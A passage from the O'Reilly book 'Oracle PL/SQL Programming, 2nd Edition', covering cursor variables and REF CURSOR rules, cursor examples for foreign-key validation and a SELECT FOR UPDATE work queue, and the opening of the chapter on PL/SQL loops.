END;

It is very important to distinguish between declaring a cursor variable and creating an actual cursor object -- the result set identified by the cursor SQL statement. The cursor variable is nothing more than a reference or pointer. A constant is nothing more than a value, whereas a variable points to its value. Similarly, a static cursor acts as a constant, whereas a cursor variable points to a cursor object. These distinctions are shown in Figure 6.3. Notice that two different cursor variables in different programs both refer to the same cursor object.

Figure 6.3: The referencing character of cursor variables

Declaration of a cursor variable does not create a cursor object. To do that, you must instead use the OPEN FOR syntax to create a new cursor object and assign it to the variable.

6.12.4 Opening Cursor Variables

You assign a value (the cursor object) to a cursor when you OPEN the cursor. So the syntax for the OPEN statement is now modified in PL/SQL Release 2.3 to accept a SELECT statement after the FOR clause, as shown below:

OPEN cursor_name FOR select_statement;

where cursor_name is the name of a cursor or cursor variable and select_statement is a SQL SELECT statement.

For strong REF CURSOR type cursor variables, the structure of the SELECT statement (the number and datatypes of the columns) must match or be compatible with the structure specified in the RETURN clause of the type statement. Figure 6.4 offers an example of the kind of compatibility required. Figure 6.4" contains the full set of compatibility rules.

Figure 6.4: Compatible REF CURSOR rowtype and SELECT list

If cursor_name is a cursor variable defined with a weak REF CURSOR type, you can OPEN it for any query, with any structure. In the following example, I open (assign a value to) the cursor variable twice, with two different queries:

DECLARE
   TYPE emp_curtype IS REF CURSOR;
   emp_curvar emp_curtype;
BEGIN
   OPEN emp_curvar FOR SELECT * FROM emp;
   OPEN emp_curvar FOR SELECT employee_id FROM emp;
   OPEN emp_curvar FOR SELECT company_id, name FROM company;
END;

That last open didn't even have anything to do with the employee table!

If the cursor variable has not yet been assigned to any cursor object, the OPEN FOR statement implicitly creates an object for the variable.

If at the time of the OPEN the cursor variable already is pointing to a cursor object, then OPEN FOR does not create a new object. Instead, it reuses the existing object and attaches a new query to that object. The cursor object is maintained separately from the cursor or query itself.

6.12.5 Fetching from Cursor Variables

As mentioned earlier, the syntax for a FETCH statement using a cursor variable is the same as that for static cursors:

FETCH <cursor variable name> INTO <record name>;
FETCH <cursor variable name> INTO <variable name>, <variable name> ...;

When the cursor variable was declared with a strong REF CURSOR type, the PL/SQL compiler makes sure that the data structure(s) listed after the INTO keyword are compatible with the structure of the query associated with cursor variable.

6.12.5.1 Strong and weak REF CURSOR types

If the cursor variable is of the weak REF CURSOR type, the PL/SQL compiler cannot perform the same kind of check. Such a cursor variable can FETCH into any data structures, because the REF CURSOR type it is not identified with a rowtype at the time of declaration. At compile time, there is no way to know which cursor object (and associated SQL statement) will be assigned to that variable.

Consequently, the check for compatibility must happen at run time, when the FETCH is about to be executed. At this point, if the query and the INTO clause do not structurally match (and PL/SQL will use implicit conversions if necessary and possible), then the PL/SQL runtime engine will raise the predefined ROWTYPE_MISMATCH exception.

6.12.5.2 Handling the ROWTYPE_MISMATCH exception

Before PL/SQL actually performs its FETCH, it checks for compatibility. As a result, you can trap the ROWTYPE_MISMATCH exception and attempt to FETCH from the cursor variable using a different INTO clause -- and you will not have skipped any rows in the result set.

Even though you are executing a second FETCH statement in your program, you will still retrieve the first row in the result set of the cursor object's query. This functionality comes in especially handy for weak REF CURSOR types.

In the following example, a centralized real estate database stores information about properties in a variety of tables, one for homes, another for commercial properties, etc. There is also a single, central table which stores an address and a building type (home, commercial, etc.). I use a single procedure to open a weak REF CURSOR variable for the appropriate table, based on the street address. Each individual real estate office can then call that procedure to scan through the matching properties:

  1. Define my weak REF CURSOR type:

    TYPE building_curtype IS REF CURSOR;

  2. Create the procedure. Notice that the mode of the cursor variable parameter is IN OUT:

    PROCEDURE open_site_list
   (address_in IN VARCHAR2,
    site_cur_inout IN OUT building_curtype)
IS
   home_type CONSTANT INTEGER := 1;
   commercial_type CONSTANT INTEGER := 2;

   /* A static cursor to get building type. */
   CURSOR site_type_cur IS
      SELECT site_type FROM property_master
       WHERE address = address_in;
   site_type_rec site_type_cur%ROWTYPE;

BEGIN
   /* Get the building type for this address. */
   OPEN site_type_cur;
   FETCH site_type_cur INTO site_type_rec;
   CLOSE site_type_cur;

   /* Now use the site type to select from the right table.*/
   IF site_type_rec.site_type =  home_type
   THEN
      /* Use the home properties table. */
      OPEN site_cur_inout FOR
         SELECT * FROM home_properties
          WHERE address LIKE '%' || address_in || '%';

   ELSIF site_type_rec.site_type =  commercial_type
   THEN
      /* Use the commercial properties table. */
      OPEN site_cur_inout FOR
         SELECT * FROM commercial_properties
          WHERE address LIKE '%' || address_in || '%';
   END IF;
END open_site_list;

  3. Now that I have my open procedure, I can use it to scan properties.

In the following example, I pass in the address and then try to fetch from the cursor, assuming a home property. If the address actually identifies a commercial property, PL/SQL will raise the ROWTYPE_MISMATCH exception (incompatible record structures). The exception section then fetches again, this time into a commercial building record, and the scan is complete.[2]

[2] The "prompt" and "show" programs referenced in the example interact with users and are not documented here.

DECLARE
   /* Declare a cursor variable. */
   building_curvar building_curtype;

   /* Define record structures for two different tables. */
   home_rec home_properties%ROWTYPE;
   commercial_rec commercial_properties%ROWTYPE;
BEGIN
   /* Get the address from the user. */
   prompt_for_address (address_string);

   /* Assign a query to the cursor variable based on the address. */
   open_site_list (address_string, building_curvar);

   /* Give it a try! Fetch a row into the home record. */
   FETCH building_curvar INTO home_rec;

   /* If I got here, the site was a home, so display it. */
   show_home_site (home_rec);
EXCEPTION
   /* If the first record was not a home... */
   WHEN ROWTYPE_MISMATCH
   THEN
      /* Fetch that same 1st row into the commercial record. */
      FETCH building_curvar INTO commercial_rec;

      /* Show the commercial site info. */
      show_commercial_site (commercial_rec);
END;

6.12.6 Rules for Cursor Variables

This section examines in more detail the rules and issues regarding the use of cursor variables in your programs. This includes rowtype matching rules, cursor variable aliases, and scoping issues.

Remember that the cursor variable is a reference to a cursor object or query in the database. It is not the object itself. A cursor variable is said to "refer to a given query" if either of the following is true:

  • An OPEN statement FOR that query was executed with the cursor variable.

  • A cursor variable was assigned a value from another cursor variable that refers to that query.

You can perform assignment operations with cursor variables and also pass these variables as arguments to procedures and functions. In order to perform such actions between cursor variables (and to bind a cursor variable to a parameter), the different cursor variables must follow a set of compile-time and runtime rowtype matching rules.

6.12.6.1 Compile-time rowtype matching rules

These are the rules that PL/SQL follows at compile-time:

  • Two cursor variables (including procedure parameters) are compatible for assignments and argument passing if any of the following are true:

    • Both variables (or parameters) are of a strong REF CURSOR type with the same <rowtype_name>.

    • Both variables (or parameters) are of some weak REF CURSOR type, regardless of the <rowtype_name>.

    • One variable (parameter) is of any strong REF CURSOR type, and the other is of any weak REF CURSOR type.

  • A cursor variable (parameter) of a strong REF CURSOR type may be OPEN FOR a query that returns a rowtype which is structurally equal to the <rowtype_name> in the original type declaration.

  • A cursor variable (parameter) of a weak REF CURSOR type may be OPEN FOR any query. The FETCH from such a variable is allowed INTO any list of variables or record structure.

In other words, if either of the cursor variables are of the weak REF CURSOR type, then the PL/SQL compiler cannot really validate whether the two different cursor variables will be compatible. That will happen at runtime; the rules are covered in the next section.

6.12.6.2 Run-time rowtype matching rules

These are the rules that PL/SQL follows at run time:

  • A cursor variable (parameter) of a weak REF CURSOR type may be made to refer to a query of any rowtype regardless of the query or cursor object to which it may have referred earlier.

  • A cursor variable (parameter) of a strong REF CURSOR type may be made to refer only to a query which matches structurally the <rowtype_name> of the RETURN clause of the REF CURSOR type declaration.

  • Two records (or lists of variables) are considered structurally matching with implicit conversions if both of the following are true:

    • The number of fields is the same in both records (lists).

    • For each field in one record (or variable on one list), a corresponding field in the second list (or variable in second list) has the same PL/SQL datatype, or one which can be converted implicitly by PL/SQL to match the first.

  • For a cursor variable (parameter) used in a FETCH statement, the query associated with the cursor variable must structurally match with implicit conversions the record or list of variables of the INTO clause of the FETCH statement. This is, by the way, the same rule used for static cursors.

6.12.6.3 Cursor variable aliases

If you assign one cursor variable to another cursor variable, those two cursor variables become aliases for the same cursor object. They share the reference to the cursor object (result set of the cursor's query). An action taken against the cursor object through one variable is also available to and reflected in the other variable.

The following anonymous block illustrates the way cursor aliases work:

1  DECLARE
2     TYPE curvar_type IS REF CURSOR;
3     curvar1 curvar_type;
4     curvar2 curvar_type;
5     story fairy_tales%ROWTYPE;
6  BEGIN
7     /* Assign cursor object to curvar1. */
8     OPEN curvar1 FOR SELECT * FROM fairy_tales;
9
10    /* Assign same cursor object to curvar2. */
11    curvar2 := curvar1;
12
13    /* Fetch first record from curvar1. */
14    FETCH curvar1 INTO story;
15
16    /* Fetch second record from curvar2. */
17    FETCH curvar2 INTO story;
18
19    /* Close the cursor object by referencing curvar2. */
20    CLOSE curvar2;
21
22    /* This statement raises INVALID_CURSOR exception! */
23    FETCH curvar1 INTO story;
24 END;

The following table is an explanation of cursor variable actions.

Lines | Action
1-5 | Declare my weak REF CURSOR type and cursor variable through line 5.
8 | Creates a cursor object and assigns it to curvar1.
11 | Assigns that same cursor object to the second cursor variable, curvar2.
14 | Fetches the first record using the curvar1 variable.
17 | Fetches the second record using the curvar2 variable. (Notice that it doesn't matter which of the two variables you use. The pointer to the current record resides with the cursor object, not any particular variable.)
20 | Closes the cursor object referencing curvar2.
23 | Raises the INVALID_CURSOR exception when I try to fetch again from the cursor object. (When I closed the cursor through curvar2, it also closed it as far as curvar1 was concerned.)

Any change of state in a cursor object will be seen through any cursor variable which is an alias to that cursor object.

6.12.6.4 Scope of cursor object

The scope of a cursor variable is the same as that of a static cursor: the PL/SQL block in which the variable is declared (unless declared in a package, which makes the variable globally accessible). The scope of the cursor object to which a cursor variable is assigned, however, is a different matter.

Once an OPEN FOR creates a cursor object, that cursor object remains accessible as long as at least one active cursor variable refers to that cursor object. This means that you can create a cursor object in one scope (PL/SQL block) and assign it to a cursor variable. Then, by assigning that cursor variable to another cursor variable with a different scope, the cursor object remains accessible even if the original cursor variable has gone out of scope.

In the following example I use nested blocks to demonstrate how the cursor object can persist outside of the scope in which it was originally created:

DECLARE
   /* Define weak REF CURSOR type, cursor variable
      and local variable */
   TYPE curvar_type IS REF CURSOR;
   curvar1 curvar_type;
   do_you_get_it VARCHAR2(100);
BEGIN
   /*
   || Nested block which creates the cursor object and
   || assigns it to the curvar1 cursor variable.
   */
   DECLARE
      curvar2 curvar_type;
   BEGIN
      OPEN curvar2 FOR SELECT punch_line FROM jokes;
      curvar1 := curvar2;
   END;
   /*
   || The curvar2 cursor variable is no longer active,
   || but "the baton" has been passed to curvar1, which
   || does exist in the enclosing block. I can therefore
   || fetch from the cursor object, through this other
   || cursor variable.
   */
   FETCH curvar1 INTO do_you_get_it;
END;

6.12.7 Passing Cursor Variables as Arguments

You can pass a cursor variable as an argument in a call to a procedure or function. When you use a cursor variable in the parameter list of a program, you need to specify the mode of the parameter and the datatype (the REF CURSOR type).

6.12.7.1 Identifying the REF CURSOR type

In your program header, you must identify the REF CURSOR type of your cursor variable parameter. To do this, that cursor type must already be defined.

If you are creating a local module within another program (see Chapter 15 for more information about local modules), then you can also define the cursor type in the same program. It will then be available for the parameter. This approach is shown below:

DECLARE
   /* Define the REF CURSOR type. */
   TYPE curvar_type IS REF CURSOR RETURN company%ROWTYPE;

   /* Reference it in the parameter list. */
   PROCEDURE open_query (curvar_out OUT curvar_type)
   IS
      local_cur curvar_type;
   BEGIN
      OPEN local_cur FOR SELECT * FROM company;
      curvar_out := local_cur;
   END;
BEGIN
   ...
END;

If you are creating a standalone procedure or function, then the only way you can reference a pre-existing REF CURSOR type is by placing that type statement in a package. All variables declared in the specification of a package act as globals within your session, so you can then reference this cursor type using the dot notation as shown below:

  1. Create the package with a REF CURSOR type declaration:

    PACKAGE company
IS
   /* Define the REF CURSOR type. */
   TYPE curvar_type IS REF CURSOR RETURN company%ROWTYPE;
END package;

  2. In a standalone procedure, reference the REF CURSOR type by prefacing the name of the cursor type with the name of the package:

    PROCEDURE open_company (curvar_out OUT company.curvar_type) IS
BEGIN
   ...
END;

See Chapter 16 for more information on this feature.

6.12.7.2 Setting the parameter mode

Just like other parameters, a cursor variable argument can have one of the following three modes:

IN

Can only be read by program

OUT

Can only be written to by program

IN OUT

Read/write in program

Remember that the value of a cursor variable is the reference to the cursor object and not the state of the cursor object. In other words, the value of a cursor variable does not change after you fetch from or close a cursor.

Only two operations, in fact, may change the value of a cursor variable change, that is, the cursor object to which the variable points:

  • An assignment to the cursor variable

  • An OPEN FOR statement

If the cursor variable already pointed to a cursor object, then the OPEN FOR wouldn't actually change the reference. It would simply change the query associated with the object.

The FETCH and CLOSE operations affect the state of the cursor object, but not the reference to the cursor object itself, which is the value of the cursor variable.

Here is an example of a program which has cursor variables as parameters:

PROCEDURE assign_curvar
   (old_curvar_in IN company.curvar_type,
    new_curvar_out OUT company.curvar_type)
IS
BEGIN
   new_curvar_out := old_curvar_in;
END;

This procedure copies the old company cursor variable to the new variable. The first parameter is an IN parameter because it appears only on the right-hand side of the assignment. The second parameter must be an OUT (or IN OUT) parameter, because its value is changed inside the procedure. Notice that the curvar_type is defined within the company package.

6.12.8 Cursor Variable Restrictions

Cursor variables are subject to the following restrictions; Oracle may remove some of these in future releases.

  • Cursor variables cannot be declared in a package since they do not have a persistent state.

  • You cannot use RPCs (Remote Procedure Calls) to pass cursor variables from one server to another.

  • If you pass a cursor variable as a bind or host variable to PL/SQL, you will not be able to fetch from it from within the server unless you also open it in that same server call.

  • The query you associate with a cursor variable in an OPEN-FOR statement cannot use the FOR UPDATE clause.

  • You cannot test for cursor variable equality, inequality, or nullity using comparison operators.

  • You cannot assign NULLs to a cursor variable.

  • Database columns cannot store cursor variable values. You will not be able to use REF CURSOR types to specify column types in statements to CREATE TABLEs or CREATE VIEWs.

  • The elements in a nested table, index-by table, or variable array (VARRAY) cannot store the values of cursor variables. You will not be able to use REF CURSOR types to specify the element type of a collection.

  • Cursor variables cannot be used with dynamic SQL (through use of the DBMS_SQL package).

Previous: 6.11 SELECT FOR UPDATE in Cursors | Oracle PL/SQL Programming, 2nd Edition | Next: 6.13 Working with Cursors
6.11 SELECT FOR UPDATE in Cursors | Book Index | 6.13 Working with Cursors
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.13 Working with Cursors

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

6.13 Working with Cursors

The following sections offer some practical applications of cursors. They are also designed to be programs you can put to use in your own environments with a few changes. The following files on the companion disk offer additional examples:

varcurs.doc

Explanation of how to emulate a cursor variable with local modules

unquein.doc

Explanation of how to guarantee unique entry with cursors

unquein.ff

Code required to guarantee unique entry with cursors

6.13.1 Validating Foreign Key Entry with Cursors

A hefty percentage of our code can be taken up with validating the entry or selection of foreign keys. Consider the example of an application which maintains companies and employees of that company. On the employee maintenance screen, I want to let my user enter the name or partial name of the company that employs a person. If the user has identified a unique company, the form displays that name and stores the company ID on the null canvas. If the user's entry finds more than one match, a message is displayed. If no matches are found, the entry is rejected.

How should I implement this requirement? Well, the first thing that comes to the minds of many programmers is the following:

Use a cursor which, with a single fetch, employs the COUNT built-in to compute the total number of companies that match the enemy.

This is, perhaps, the most obvious and direct solution to the requirement -- when it is phrased as follows:

To find out if the user's entry has more than one match, count up just how many matches there are.

6.13.1.1 Inefficiency of group functions in cursors

There are, however, two serious problems with using the COUNT group function in my cursor:

  • The cursor does far too much work on my behalf. By using COUNT, the cursor must scan through all records (or, I hope, those identified by the index) and count up the total number of matching records. Yet, all I really need to know is whether more than one company matched the entry. The performance penalty on this COUNT could be severe if the query goes out over a network or if the user's entry matches many of the records. What if a user entered a percent sign (%)? All records would then match. An application should never punish a user for poorly thought-out data entry.

  • The cursor does not do enough for me. If the COUNT-based query did return a value of 1, I would still have to go back to the company table and SELECT the ID for that company with another cursor. As a result, I would have coded the same query twice. This redundancy introduces maintenance and performance issues.

You should use COUNT only when you need to know or display the total number of matches for the user's entry. In this scenario, I don't really need that total; I need only to know if the total is greater than one (i.e., if there is more than one match). I can obtain this knowledge in a much more efficient and straightforward manner.

6.13.1.2 Using multiple fetches more efficiently

Use a cursor that, with multiple fetches, determines if there are at least two companies that match the entry. This approach takes a bit more sophistication and thought, but is always a better performer and offers more flexibility to programmers.

To employ the multiple-fetch technique, take the following steps:

  1. Declare a cursor which returns the company_id of all companies that match the value in the item:

    CURSOR company_cur
IS
   SELECT company_id
      FROM company
   WHERE company_name LIKE :company.company_name || '%';

  2. Fetch twice against this cursor. If I can fetch twice successfully (company_cur%NOTFOUND is FALSE both times), that means that there is more than one match for the company name. If I can fetch only once before the %NOTFOUND cursor attribute returns FALSE, then I have found a unique match. If the very first fetch fails, then there is no match for the name.

  3. Because my cursor returns the company_id, I do not have to perform another select once I have determined that I have a unique match. I simply use the ID that was provided in the first fetch.

The procedure in the following example supports the foreign key validation requirements with a double fetch against the cursor (it is coded for Oracle Forms, but can be adapted easily to other tool environments):

/* Filename on companion disk: fkval.fp */
PROCEDURE validate_company
   (comp_name_inout IN OUT company.company_name%TYPE,
    comp_id_out OUT company.company_id%TYPE)
IS
   /* Cursor as explained above */
   CURSOR company_cur IS
      SELECT company_id, company_name
        FROM company
      WHERE company_name LIKE comp_name_inout || '%';

   /* Declare two records against the same cursor. */
   company_rec company_cur%ROWTYPE;
   duplicate_rec company_cur%ROWTYPE;
BEGIN
   /* Open and perform the first fetch against cursor. */
   OPEN company_cur;
   FETCH company_cur INTO company_rec;
   IF company_cur%NOTFOUND
   THEN
      /* Not even one match for this name. Display message and reject. */
      MESSAGE
         (' No company found with name like "' ||
          comp_name_inout || '".');
      CLOSE company_cur;
      RAISE FORM_TRIGGER_FAILURE;
   ELSE
      /*
      || Found one match. Now FETCH again, but this time FETCH into the
      || duplicate_rec record. This is just a "place holder". I don't
      || need to see the contents of the record. I just need to know if
      || I can successfully retrieve another record from the cursor.
      */
      FETCH company_cur INTO duplicate_rec;
      IF company_cur%NOTFOUND
      THEN
         /*
         || Found 1 match, but not second. Unique! Assign values to
         || the OUT parameters and close the cursor.
         */
         comp_id_out := company_rec.company_id;
         comp_name_inout := company_rec.company_name;
         CLOSE company_cur;
      ELSE
         /*
         || At least two matches found for this name. I don't know how
         || many more and I do not care. Reject with message.
         */
         MESSAGE (' More than one company matches name like "' ||
                  comp_name_inout || '".');
         CLOSE company_cur;
         RAISE FORM_TRIGGER_FAILURE;
      END IF;
   END IF;
END;

Call this procedure in the When-Validate-Item trigger so that any changes to the company name can be validated. Here is an example of an actual call to validate_company:

validate_company (:employee.company_name, :employee.company_id);

Notice that the first parameter (the company name) is an IN OUT parameter. I want to let the user enter just a part of the name and let the application figure out if that entry is enough to uniquely identify a company. If a single match is found, the form replaces the partial entry with the full name.

I believe strongly that we should design our applications to allow the user to enter the minimal amount of information necessary to get the job done. Our applications should be smart enough to take advantage of the dumb, brute strength of our CPUs in order to lift some of the burden off the user.

6.13.2 Managing a Work Queue with SELECT FOR UPDATE

As discussed earlier, a cursor with a SELECT...FOR UPDATE syntax issues a row-level lock on each row identified by the query. I encountered a very interesting application of this feature while helping a client resolve a problem.

The client offers a distribution package which tracks warehouse inventory. The work queue screen assigns warehouse floor packers their next tasks. The packer opens the screen and requests a task. The screen finds the next unassigned task and assigns it to the packer. A task might involve collecting various products together for shipment or returning products to the shelf. Completion of this task can take anywhere between one and ten minutes. When the task is completed, the packer will commit the changes or close the screen, performing an implicit commit.

For the amount of time it takes a packer to finish the task, that record must be tagged as "assigned" so that no other packer is given the same job to do. The first attempt at implementing this feature involved the use of a status flag. Whenever a packer was assigned a task, the flag on that task was set to ASSIGNED and the task record committed. The screen then excludes that task from the work queue. The problem with this approach is that the status had to be committed to the database so that other users could see the new status. This commit not only interrupted the actual transaction in the screen, but also created a number of headaches:

  • What if the user never completes the task and exits the screen? The form would have to detect this scenario (and there are generally many ways to cancel/exit) and update the status flag to AVAILABLE, which involves yet another commit.

  • Worse yet, what if the database goes down while the user is performing the task? That task will disappear from the work queue until manual intervention resets the status.

My client needed a mechanism by which the task could be flagged as UNAVAILABLE without having to perform commits, build complex checks into the form, and develop crash-recovery guidelines. They needed a program that would step through each of the open tasks in priority until it found a task that was unassigned. The SELECT...FOR UPDATE construct proved to be the perfect answer, in combination with two queries against the task table -- an explicit cursor and an implicit cursor using a FOR UPDATE clause.

The function in the following example returns the primary key of the next unassigned task using a cursor against the task table to look through all open tasks in priority order. The tasks returned by this first cursor include those which are assigned but "in process" (and should therefore not be assigned again). For each task retrieved from this cursor, the function then tries to obtain a lock on that record using the FOR UPDATE...NOWAIT clause. If the SELECT statement cannot obtain a lock, it means that task is being handled by another packer. So the function fetches the next task and tries, once again, to obtain a lock, continuing on in this fashion until a free task is found or the last task is fetched.

Notice that the next_task function does not perform any commits, so it doesn't have to do any kind of complicated clean-up. It simply requests the lock and returns the primary key for that task. The calling program can then offer this task to the packer who will issue the commit, freeing the lock, when she or he is done with the task:

/* Filename on companion disk: selupdt.sf */
FUNCTION next_task RETURN task.task_id%TYPE
IS
   /* Cursor of all open tasks, assigned and unassigned */
   CURSOR task_cur IS
      SELECT task_id
        FROM task
       WHERE task_status = 'OPEN'
       ORDER BY task_priority, date_entered DESC;

   /* The record for the above cursor */
   task_rec task_cur%ROWTYPE;
   /*
   || An exception for error ORA-00054:
   || "resource busy and acquire with NOWAIT specified"
   */
   record_locked EXCEPTION
   PRAGMA EXCEPTION_INIT (record_locked, -54);
   /*
   || Variables which determine whether function should continue
   || to loop through the cursor's records.
   */
   found_unassigned_task BOOLEAN := FALSE;
   more_tasks BOOLEAN := TRUE;

   /* The primary key of the unassigned task to be returned */
   return_value task.task_id%TYPE := NULL;
BEGIN
   /* Open the cursor and start up the loop through its records */
   OPEN task_cur;
   WHILE NOT found_unassigned_task AND more_tasks
   LOOP
      /* Fetch the next record. If nothing found, we are done */
      FETCH task_cur INTO task_rec;
      more_tasks := task_cur%FOUND;
      IF more_tasks
      THEN
         /*
         || A record was fetched. Create an anonymous block within
         || the function so that I can trap the record_locked
         || exception and still stay inside the cursor loop.
         */
         BEGIN
            /* Try to get a lock on the current task */
            SELECT task_id INTO return_value
              FROM task
              WHERE task_id = task_rec.task_id
             FOR UPDATE OF task_id NOWAIT;
            /*
            || If I get to this line then I was able to get a lock
            || on this particular task. Notice that the SELECT INTO
            || has therefore already set the function's return value.
            || Now set the Boolean to stop the loop.
            */
            found_unassigned_task := TRUE;
         EXCEPTION
            WHEN record_locked
            THEN
               /* Record was already locked, so just keep on going */
               NULL;
         END;
      END IF;
   END LOOP;
   /*
   || Return the task id. Notice that if an unassigned task was NOT
   || found, I will simply return NULL per declaration default.
   */
   CLOSE task_cur;
   RETURN return_value;
EXCEPTION
   /*
   || General exception handler for the function: if an error occurred,
   || then close the cursor and return NULL for the task ID.
   */
   WHEN OTHERS
   THEN
      CLOSE task_cur;
      RETURN NULL;
END;

Previous: 6.12 Cursor Variables | Oracle PL/SQL Programming, 2nd Edition | Next: 7. Loops
6.12 Cursor Variables | Book Index | 7. Loops
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] Loops

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 6.13 Working with Cursors Chapter 7 Next: 7.2 The Simple Loop

7. Loops

Contents:
Loop Basics
The Simple Loop
The Numeric FOR Loop
The Cursor FOR Loop
The WHILE Loop
Managing Loop Execution
Tips for PL/SQL Loops

This chapter explores the iterative control structures of PL/SQL, otherwise known as loops, which let you execute the same code repeatedly. PL/SQL provides three different kinds of loop constructs:

  • The simple or infinite loop

  • The FOR loop (numeric and cursor)

  • The WHILE loop

Each type of loop is designed for a specific purpose with its own nuances, rules for use, and guidelines for high-quality construction. As I explain each of the loops, I will include a table (based on the following one) describing the following properties of the loop:

Property | Description
How the loop is terminated | A loop executes code repetitively. How do you make the loop stop executing its body?
When the test for termination takes place | Does the test for termination take place at the beginning or end of the loop? What are the consequences?
Reason to use this loop | What are the special factors you should consider to determine if this loop is right for your situation?

7.1 Loop Basics

Why are there three different kinds of loops? To provide you with the flexibility you need to write the most straightforward code to handle any particular situation. Most situations which require a loop could be written with any of the three loop constructs. If you do not pick the construct best-suited for that particular requirement, however, you could end up having to write many additional lines of code. The resulting module would also be harder to understand and maintain.

7.1.1 Examples of Different Loops

To give you a feeling for the way the different loops solve their problems in different ways, consider the following three procedures. In each case, the procedure executes the same body of code inside a loop:

set_rank (ranking_level);

where set_rank performs a ranking for the specified level.

  • The simple loop. My procedure accepts a maximum ranking as an argument and then sets the rank until the level exceeds the maximum. Notice the IF statement to guard against executing the loop when the maximum rank is negative. Notice also the EXIT WHEN statement used to terminate the loop:

    PROCEDURE set_all_ranks (max_rank_in IN INTEGER)
IS
   ranking_level NUMBER(3) := 1;
BEGIN
   IF max_rank_in >= 1
   THEN
      LOOP
         set_rank (ranking_level);
         ranking_level := ranking_level + 1;
         EXIT WHEN ranking_level > max_rank_in;
      END LOOP;
   END IF;
END;

  • The FOR loop. In this case, I rank for the fixed range of values, from one to the maximum number:

    PROCEDURE set_all_ranks (max_rank_in IN INTEGER)
IS
BEGIN
   FOR ranking_level IN 1 .. max_rank_in
   LOOP
      set_rank (ranking_level);
   END LOOP;
END;

  • The WHILE loop. My procedure accepts a maximum ranking as an argument and then sets the rank until the level exceeds the maximum. Notice that the condition which terminates the loop comes on the same line as the WHILE keyword:

    PROCEDURE set_all_ranks (max_rank_in IN INTEGER)
IS
   ranking_level NUMBER(3) := 1;
BEGIN
   WHILE ranking_level <= max_rank_in
   LOOP
      set_rank (ranking_level);
      ranking_level := ranking_level + 1;
   END LOOP;
END;

In the above example, the FOR loop clearly requires the smallest amount of code. Yet I could only use it in this case because I knew that I would run the body of the loop a specific number of times (max_rank_in). In many other situations, the number of times a loop must execute varies and so the FOR loop cannot be used.

7.1.2 Structure of PL/SQL Loops

While there are differences among the three loop constructs, every loop has two parts: the loop boundary and the loop body. The loop boundary is composed of the reserved words that initiate the loop, the condition that causes the loop to terminate, and the END LOOP statement that ends the loop. The body of the loop is the sequence of executable statements inside the loop boundary which execute on each iteration of the loop.

Figure 7.1 shows the boundary and body of a WHILE loop.

Figure 7.1: The boundary and body of the WHILE loop

In general, think of a loop much as you would a procedure or a function. The body of the loop is a black box, and the condition that causes loop termination is the interface to that black box. Code outside of the loop should not have to know about the inner workings of the loop. Keep this in mind as you go through the different kinds of loops and examples in the rest of the chapter.

In addition to the examples you will find in this chapter, I have included several lengthy code samples utilizing PL/SQL loops in the Oracle Forms environment in the following files on the disk:

highrec.doc and highrec.fp

Demonstrate highlighting items in an Oracle Forms record.

ofquery.doc, postqry.fp, and preqry.fp

Demonstrate automatic post- and pre-query processing in Oracle Forms.

Previous: 6.13 Working with Cursors | Oracle PL/SQL Programming, 2nd Edition | Next: 7.2 The Simple Loop
6.13 Working with Cursors | Book Index | 7.2 The Simple Loop
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.2 The Simple Loop

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

7.2 The Simple Loop

The structure of the simple loop is the most basic of all the loop constructs. It consists of the LOOP keyword, the body of executable code, and the END LOOP keywords, as shown here:

LOOP
   <executable statement(s)>
END LOOP;

The loop boundary consists solely of the LOOP and END LOOP reserved words. The body must consist of at least one executable statement. The following table summarizes the properties of the single loop:

Property

Description

How the loop is terminated

The simple loop is terminated when an EXIT statement is executed in the body of the loop. If this statement is not executed, the simple loop becomes a true infinite loop.

When the test for termination takes place

The test takes place inside the body of the loop -- and then only if an EXIT or EXIT WHEN statement is executed. Therefore, the body -- or part of the body -- of the simple loop will always execute at least once.

Reason to use this loop

Use the simple loop when:

  • You are not sure how many times you will want the loop to execute, and

  • You want the loop to run at least once.

This loop is useful when you want to guarantee that the body (or at least part of the body) executes at least one time. Because there is no condition associated with the loop boundary that determines whether or not it should execute, the body of the loop will always execute the first time.

The simple loop will terminate only when an EXIT statement is executed in its body (see "Terminating a Single Loop: EXIT and EXIT WHEN" below). Because this doesn't have to be the case, a simple loop can also become an infinite loop. This could cause difficulties in your program and is something to be avoided.

The following example shows a simple loop which is truly infinite; it keeps checking for messages from a particular pipe so that it can respond immediately and display the information in the pipe. (This is the central concept behind a DBMS_PIPE-based debugger for PL/SQL code -- a prototype of which may be found in the dbg.doc file on the companion disk. See Appendix A, What's on the Companion Disk?, for details.)

DECLARE
   pipe_status INTEGER;
   message_text VARCHAR2
BEGIN
   LOOP
      pipe_status := DBMS_PIPE.RECEIVE_MESSAGE ('execution_trace');
      IF pipe_status = 0
      THEN
         DBMS_PIPE.UNPACK_MESSAGE (message_text);
         DBMS_OUTPUT.PUT_LINE (message_text);
      END IF;
   END LOOP;
END;

7.2.1 Terminating a Simple Loop: EXIT and EXIT WHEN

Be very careful when you use simple loops. Make sure they always have a way to stop. To force a simple loop to stop processing, execute an EXIT or EXIT WHEN statement within the body of the loop. The syntax for these statements is as follows:

EXIT:
EXIT WHEN condition;

where condition is a Boolean expression.

